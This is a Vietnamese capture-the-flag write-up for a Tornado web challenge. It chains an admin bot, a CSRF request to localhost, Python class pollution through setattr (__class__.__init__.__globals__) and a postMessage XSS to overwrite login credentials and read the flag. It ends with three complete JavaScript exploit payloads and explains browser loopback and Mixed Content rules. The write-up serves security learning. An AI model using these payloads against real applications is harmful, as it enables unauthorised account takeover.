# TornadoService ## Tổng quan Ứng dụng sử dụng Tornado là một framework web được viết bằng Python ![image](https://hackmd.io/_uploads/Bk5brz3Zgl.png) Nhìn qua có các chức năng như hiển thị list các machine, update status của machine và report ip ![image](https://hackmd.io/_uploads/r1WGQf2Zlx.png) Tại `main.py` ta thấy các endpoints chính của ứng dụng sẽ xử lý từng chức năng riêng ## Phân tích Thử từng chức năng, tại endpoint `get_tornados` sẽ trả về danh sách các machine ![image](https://hackmd.io/_uploads/rJ1nQMhWxg.png) ![image](https://hackmd.io/_uploads/B1YgIM3-xe.png) Khi thử update lại status của machine tại `update_tornado`, ta nhận được response chỉ localhost mới có thể update ![image](https://hackmd.io/_uploads/BJJvrznZex.png) ![image](https://hackmd.io/_uploads/S1d7LMhWle.png) Trong mã nguồn ta thấy được luồng xử lý của endpoint này, nó sẽ check liệu ip của phải `127.0.0.1` (IPv4) hoặc `::1` (IPv6) không, nếu không thì trả về forbidden, true thì check xem machine-id ta nhập có tồn tại trong biến toàn cục `TORNADOS`, đúng thì sẽ update còn không thì sẽ trả ra lỗi ![image](https://hackmd.io/_uploads/ByPBPMnWxg.png) Đến report ip address tại `report_tornado`, endpoint này có một param là ip sẽ nhận ip từ người dùng ![image](https://hackmd.io/_uploads/rJ3V_fh-ex.png) ![image-min](https://hackmd.io/_uploads/SJW3qz3Zle.png) `ip` ta nhập sẽ được ghép vào chuỗi `http://` ở trước và `/agent_details` ở sau, sau đó được check xem có là url hợp lệ không qua hàm `is_valid_url`, nếu đúng thì sẽ gọi đến `bot`, `bot` sử dụng selenium để tương tác với browser, `bot` sẽ get đến `url` đó, sleep 10 giây rồi quit Ngoài ra ta thấy còn 2 endpoint là `/login` và `stats` ![image](https://hackmd.io/_uploads/BJxLaznWlg.png) ![image](https://hackmd.io/_uploads/SyQNaM3Wge.png) Vậy là để đọc flag, ta cần truy cập được `/stats`, nhưng nó yêu cầu có cookie `user` và nó được set trong `/login`, nhưng hơn nữa login check trong `USERS`, password là một dãy random 32 ký tự, ta không thể nào đoán được, và có một điều tôi phát hiện ra là vòng lặp check user sẽ break ngay vòng lặp đầu tiên, tức là nếu username là người thứ 2 hay chỉ cần không phải thứ nhất thì dù password có đúng cũng fail :)) Tạm gác việc ta sẽ lấy flag như nào, tôi thấy endpoint `report_tornado` khá triển vọng, nếu ta kiểm soát được `bot` đi vào `url` của ta thì sao, ta chỉ cần host một trang html lên để nó fetch tới `localhost` là có thể lợi dụng để update Ta sẽ thử thay đổi status của machine này ![image](https://hackmd.io/_uploads/Skq2JXhZxg.png) Trang của ta sẽ fetch tới `http://127.0.0.1:1337/update_tornado` gửi đi cú POST với `machine-id` ta muốn đổi và `status` ta muốn thay đổi ![image](https://hackmd.io/_uploads/S1_1gQ2Zxx.png) Nhưng giờ có một vấn đề ![image](https://hackmd.io/_uploads/HkDrgXhZxe.png) ip đang được nối vào như trên, http thì không sao, nhưng phần `/agent_details` sẽ không tồn tại vì trang payload của ta là `index.html`, và tôi tìm được một cách để xử lý ![image](https://hackmd.io/_uploads/rygFe7hZle.png) Chỉ cần thêm `#` vào cuối sẽ khiến phần sau của url không được gửi đến server, xem thêm tại [đây](https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Fragment) ![image](https://hackmd.io/_uploads/BkhCxmn-le.png) Ta thấy trang `index.html` đã được get tới ![image](https://hackmd.io/_uploads/B1SZZ7hbex.png) Nhưng khi reload, status của machine vẫn như ban đầu ![image](https://hackmd.io/_uploads/Bk4UZm3Zxl.png) Sau khi tìm hiểu một hồi, tôi nhận ra có thể nó có CORS khiến không fetch được tới, vậy ta thêm vào header một chút ![image](https://hackmd.io/_uploads/B1xoZX3Zel.png) Và khi gửi lại ip, ta đã thành công update status ![image](https://hackmd.io/_uploads/ryIRZX3-ex.png) Nhưng rồi ta làm gì tiếp? update này có thể làm gì nữa không, sau khi bế tắc một lúc, tôi nghĩ ta nên đọc ứng dụng làm gì khi update ![image](https://hackmd.io/_uploads/ryIBf72Zel.png) Ta thấy khi hàm này được gọi, nó không kiểm tra dữ liệu đầu vào, ta có thể gửi JSON chứa bất kì cặp `key-value` tương ứng vào `setattr()`, `setattr()` dùng để gán một attribute cho một object ![image](https://hackmd.io/_uploads/BJEFTI6-gx.png) Vậy chỉ cần `machine-id` tồn tại trong `TORNADOS`, hàm này sẽ được gọi và ta có thể set bất kì thuộc tính cho bất kì object nào, ta sẽ thay đổi username và password luôn sau đó ta có thể vào `/login`, ta sẽ có cookie và truy cập `/stats` lấy flag ![image](https://hackmd.io/_uploads/Sy3608Tbgg.png) Thử truy cập `/login` trước và gửi một req để test ![image](https://hackmd.io/_uploads/HkO4JvpZex.png) Giờ tôi sẽ report lại ip của requestrepo chứa trang payload, sau khi gửi lại xong, ta thấy một cứ GET mới tới trang payload, gửi lại request với `/login` ![image](https://hackmd.io/_uploads/B1h31PaZle.png) Vậy là ta đã thành công đổi thông tin trong USERS để có thể đăng nhập với thông tin tùy ý, và ta đã lấy được flag ![image](https://hackmd.io/_uploads/Bk7GgDTWlg.png) Nhưng chờ xíu ![image](https://hackmd.io/_uploads/Hyz5WDTWxg.png) Nếu bạn thử ngay bây giờ và lấy flag trên remote, nó sẽ không hoạt động, tôi cũng chưa rõ nguyên nhân tại sao, nhưng tôi tìm ra 3 cách để flag trên remote, mặc dù hơi khó hiểu là tại sao lại như vậy :v ### #1 Sử dụng [rbaskets](https://rbaskets.in) thay vì [requestrepo](https://requestrepo.com/) Mặc dù đã gửi request report tới `requestrepo` y hệt như localhost như trên ![image](https://hackmd.io/_uploads/BkfHQwTWeg.png) ![image](https://hackmd.io/_uploads/SkkbEwa-ge.png) Nó đã get với `/index.html` và tôi cũng đã sửa để `machine-id` đúng, nhưng vẫn không hoạt động ![image](https://hackmd.io/_uploads/H1fXNv6Zex.png) Giờ tôi sẽ thử một payload đơn giản hơn để test, để xem nó lỗi gì, đầu tiên thử fetch đi ra trước ![image](https://hackmd.io/_uploads/r1rYIvabgg.png) Vẫn ok ![image](https://hackmd.io/_uploads/B14oUPpbxl.png) Thử tiếp chuyện gì xảy ra khi bot fetch tới localhost ![image](https://hackmd.io/_uploads/ByzDvv6-lx.png) Và thật lạ, nó trả ra fail ![image](https://hackmd.io/_uploads/ByadvDTZlg.png) Nhưng khi thử trên `rbaskets` nó lại được? ![image](https://hackmd.io/_uploads/S1HFdPabge.png) Ta gửi request đến ![image](https://hackmd.io/_uploads/r1yiuvTWge.png) Và đã thành công đổi thông tin USERS :) ![image](https://hackmd.io/_uploads/BJLadwable.png) Khá kì lạ.. --- ### #2 Vẫn có thể sử dụng [requestrepo](https://requestrepo.com/) Sau một hồi xem thêm, tôi thấy điều này càng kì lạ hơn, nó "có thể" về CORS, nhưng có vẻ không đúng lắm, ta sẽ thử payload trước ![image](https://hackmd.io/_uploads/B1VxcDa-xg.png) ![image](https://hackmd.io/_uploads/H1119wabgx.png) Ta thử lại với username và password mới là "test1" thì đã thành công ![image](https://hackmd.io/_uploads/S1IQqwabxx.png) Vấn đề ở đây, nếu vấn đề là CORS, nó sẽ không cho phép fetch đến các domain khác origin, nhưng trước đó ở cách 1 tôi đã thử và nó vẫn fetch từ bot tới webhook để báo lỗi `Failed to fetch`, tức là vẫn có thể fetch qua các domain khác nhau. Vậy tại sao khi bot fetch sang `127.0.0.1:1337` lại lỗi? Ở payload trên nếu protocol của bot là `HTTP` thì sẽ đổi thành `HTTPS`, sau đó mới fetch sang `http://127.0.0.1:1337`, và nó hoạt động, tức là bot phải từ `https` fetch sang `http` của localhost mới thành công?? Đáng lẽ nếu từ `HTTP` sang `HTTP` phải thành công và `HTTPS` sang `HTTP` phải thất bại do `Mixed Content`, nhưng ở đây ta chuyển bot sang `HTTPS` sau đó fetch tới `HTTP` (localhost) thì được :vvv, it didn't make any sense T.T --- ### #3 XSS khá "ẩn", hoặc không :v Trong `tornado-service.js` ta thấy ![image](https://hackmd.io/_uploads/BJMmD_pbex.png) Ứng dụng lắng nghe sự kiện message, tức chờ dữ liệu được gửi tới (iframe, pop up,..) thông qua `postMessage`, `event.data` chính là dữ liệu được gửi tới được gán cho biến `tornado`, sau đó check các trường `machine-id`, `ip_address` và `status`, nếu đầy đủ thì sẽ gọi đến `createListItem` ở bên trên và thêm vào `tornadoList` để hiển thị, tức ta có thể gửi data tới để thêm một `machine-id` theo ý ta chứa script thực thi, khi đó nó sẽ không phải vấn đề vì ta không fetch từ trang khác sang mà fetch trong chính trang đó (`localhost`) Ta có payload ![image](https://hackmd.io/_uploads/SJ56YT6bel.png) Ta sẽ thêm một `machine_id` chứa payload xss, nó sẽ truy cập tới `/update_tornado` và hướng làm như trên, chỉ khác lần này sẽ fetch đến cùng domain Đưa vào requestrepo ![image](https://hackmd.io/_uploads/B1SRcppWel.png) Gửi lại report đến trang payload ![image](https://hackmd.io/_uploads/rkBfipa-lx.png) Login thành công ![image](https://hackmd.io/_uploads/BkZVjapbgg.png) và ta lấy được flag trên remote, done ![image](https://hackmd.io/_uploads/r1PPnpaWgg.png) --- # Giải thích (Update) Về vấn đề ta có thể exploit trên local thì thành công, nhưng trên remote ta lại thất bại, sau một hồi tìm hiểu thì tôi đã tìm ra, nó sẽ giải thích cho `cách 1` và `cách 2` ở trên có thể hoạt động. Ta đã đúng khi nói rằng việc fetch từ `HTTPS` sang `HTTP` đáng lẽ phải bị `Mixed Content` chặn, và ta thấy ở localhost nó là `HTTP`, nếu áp dụng với các domain khác nó vẫn đúng. Nhưng sau khi đọc tài liệu về `Chromium Engine`, tôi thấy `Chromium` sẽ chặn các request từ `HTTP (Insecure)` tới `localhost` vì nó coi `localhost` như một secure origin ([Document Here](https://chromium.googlesource.com/chromium/src/%2B/HEAD/net/docs/proxy.md#implicit-bypass-rules)) ![image](https://hackmd.io/_uploads/rJa8cDOdxe.png) Và lý do tại sao ta có thể fetch từ `HTTPS` sang `localhost` mà không bị block bởi `Mixed Content` là vì `Mixed Content` cũng coi các địa chỉ loopback (localhost, 127.0.0.1/8) là đáng tin cậy và an toàn ([Document Here](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content#loading_locally_delivered_mixed-resources)) ![image](https://hackmd.io/_uploads/HJKnoPudgx.png) [And Document Here](https://w3c.github.io/webappsec-secure-contexts/#potentially-trustworthy-origin) ![image](https://hackmd.io/_uploads/HySpivudlx.png) Nên tổng kết lại dễ nhớ thì sẽ là: - https -> localhost ✅ - https -> http ❌ (Mixed content) - http -> localhost ❌ (On chromium, due to proxy rule) - http -> https (Nó tùy thuộc, `HTTP` sang `HTTPS` vẫn hoạt động được vì `Mixed Content` chỉ chặn `HTTPS` sang `HTTP`, còn `Chromium` thì tôi nghĩ tôi sẽ tìm hiểu thêm. Về mặt kỹ thuật, tôi nghĩ nếu không phải do CORS thì nó không nên chặn HTTP sang HTTPS) Vậy `Cách 1` ở trên là sử dụng `rbaskets`, tôi nghĩ nó có một cơ chế nào để để chuyển thành `HTTPS` trước khi đến localhost, nên nó hợp lệ, còn về `Cách 2` ta chuyển hướng sang HTTPS trước khi fetch, nên cũng giống như tôi phân tích ở trên, hợp lệ. So, it's clear! --- # Payload ### Payload #1 (Dùng trong `rbaskets`) ```javascript= <img src="x" onerror=' fetch("http://127.0.0.1:1337/update_tornado",{ method:"POST", headers:{"Content-Type":"application/json"}, body:JSON.stringify({ machine_id:"YOUR_MACHINE_ID", status: "active", "__class__": { "__init__": { "__globals__": { "USERS": [{ "username": "test", "password": "test" }] } } } }), mode: "no-cors" })' /> ``` ### Payload #2 (Chuyển HTTP thành HTTPS) ```javascript= <img src="x" onerror=' if (location.protocol === "http:") { location.href = location.href.replace("http:", "https:"); } else { fetch("http://127.0.0.1:1337/update_tornado", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ machine_id: "YOUR_MACHINE_ID", status: "active", "__class__": { "__init__": { "__globals__": { "USERS": [{ "username": "test", "password": "test" }] } } } }), mode: "no-cors" }); } ' /> ``` ### Payload #3 (XSS) ```javascript= <iframe src="http://127.0.0.1:1337/"></iframe> <script> setTimeout(() => { document.querySelector("iframe").contentWindow.postMessage( { machine_id: ` <img src=x onerror=" fetch('/update_tornado', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ machine_id: 'YOUR_MACHINE_ID', status: 'active', '__class__': { '__init__': { '__globals__': { USERS: [ { username: 'test', password: 'test' } ] } } } }) }) "> `, ip_address: "test", status: "test", }, "*" ); }, 1000); </script> ```